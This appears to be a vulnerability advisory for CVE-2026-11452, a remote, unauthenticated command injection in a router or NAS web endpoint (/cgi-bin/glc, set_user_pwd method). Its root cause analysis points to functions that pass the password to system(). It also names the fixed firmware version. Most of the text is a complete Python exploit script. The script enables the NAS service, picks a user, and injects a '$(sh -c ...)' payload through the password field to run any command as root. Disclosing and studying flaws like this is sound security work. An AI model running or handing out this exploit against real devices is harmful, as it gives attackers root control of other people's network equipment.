CVE-2026-11452

An unauthenticated attacker can send a POST request to the `/cgi-bin/glc` endpoint with a JSON payload specifying the `set_user_pwd` method. The payload includes a username and a crafted password containing shell command substitution syntax, such as `$(command)`. This payload is forwarded to the `gl_nas_sys` daemon, which then executes the `smbpasswd` command with the manipulated password, leading to arbitrary command execution as root [ref_id=1]. The vulnerability is exploitable remotely without authentication [ref_id=1].

The vulnerability lies within the `FUN_0042e200` function in the `/cgi-bin/glc` component, specifically in how the `Password` argument is handled. The `gl_nas_sys` daemon's `SET_USER_PWD` handler, identified as `FUN_0043db80`, extracts the password and passes it through `FUN_0042e200` and `FUN_0042d340`, which ultimately constructs and executes a shell command via `system()` [ref_id=1].

The vendor states that upgrading to version 4.8.1 addresses the issue. The current code escapes single quotes and handles the password within a single-quote context, preventing payloads that rely on `$()` or backticks from executing. This implies that the fix likely involves more robust sanitization or a different command execution method that does not allow for shell expansion within the password parameter.

```python import json, shlex, ssl, sys, time, urllib.request

TARGET = sys.argv[1] if len(sys.argv) > 1 else "https://192.168.8.1" CMD = sys.argv[2] if len(sys.argv) > 2 else "id" NAS_USER = sys.argv[3] if len(sys.argv) > 3 else "" OUT = sys.argv[4] if len(sys.argv) > 4 else "/tmp/poc25_nas_setpwd"

ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE

def glc(method, args): body = {"object": "nas-web", "method": method, "args": args} req = urllib.request.Request( TARGET.rstrip("/") + "/cgi-bin/glc", data=json.dumps(body).encode(), headers={"Content-Type": "application/json"}, method="POST", ) resp = urllib.request.urlopen(req, timeout=10, context=ctx) return "%d %s" % (resp.status, resp.read().decode(errors="replace"))

def parse_glc_json(raw): parts = raw.split(" ", 2) if len(parts) < 3: return {} return json.loads(parts[2] or "{}")

try: print("[+] start nas service") print("[+] set_nas_ser:", glc("set_nas_ser", {"enable": 1})[:200]) print("[+] start :", glc("start", {})[:200]) time.sleep(2)

if not NAS_USER: users = parse_glc_json(glc("get_user_list", {})).get("list", []) print("[+] NAS users:", [u["name"] for u in users]) if not users: print("[-] no NAS user found, pass one as argv[3]") sys.exit(1) NAS_USER = users[-1]["name"]

command = "sh -c %s>%s 2>&1" % (shlex.quote(CMD), shlex.quote(OUT)) nonce = str(time.time_ns())[-8:] password = "Aa1!$(%s)%s" % (command, nonce)

print("[+] target :", TARGET) print("[+] nonce :", nonce) print("[+] user :", NAS_USER) print("[+] command :", CMD) print("[+] output :", OUT) print("[+] payload :", password)

raw = glc("set_user_pwd", {"name": NAS_USER, "password": password}) print("[+] response:", raw[:200])

except Exception as e: # gl_nas_sys sometimes returns HTTP 502 after the command has already run. print("[-] request failed: %s" % e) print("[!] HTTP failure does not necessarily mean exploit failed; check output file.")

print("[+] check: cat %s" % OUT) ``` [ref_id=1]